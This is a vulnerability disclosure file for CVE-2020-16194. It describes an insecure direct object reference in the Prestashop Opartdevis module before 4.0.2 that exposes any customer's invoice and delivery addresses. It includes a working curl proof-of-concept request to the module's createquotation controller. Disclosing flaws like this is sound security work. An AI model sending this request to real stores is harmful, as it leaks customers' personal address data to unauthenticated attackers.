login-securite Create CVE-2020-16194.md History

1 contributor

21 lines (18 sloc) | 768 Bytes

```
Exploit Title: Prestashop Opartdevis < 4.0.2 - IDOR on addresses fields
Date: 2020-06-07
Exploit Author: layno, c0dejump (https://www.login-securite.com/)
Vendor Homepage: https://www.prestashop.com
Software Link: https://www.store-opart.fr/
Version: <4.0.2
Tested on: Debian 10
CVE: CVE-2020-16194
```

Description:

Unauthenticated attackers can have access to any user's invoice and delivery address by exploiting an IDOR on the `delivery_address` and `invoice_address` fields.

PoC:

```
curl -s -k -X $'POST' \
--data-binary $'opart_devis_customer_id=-1&delivery_address=1&invoice_address=0&opart_devis_carrier_input=1&selected_carrier=0' \
$'http://localhost/index.php?fc=module&module=opartdevis&controller=createquotation&change_carrier_cart'
```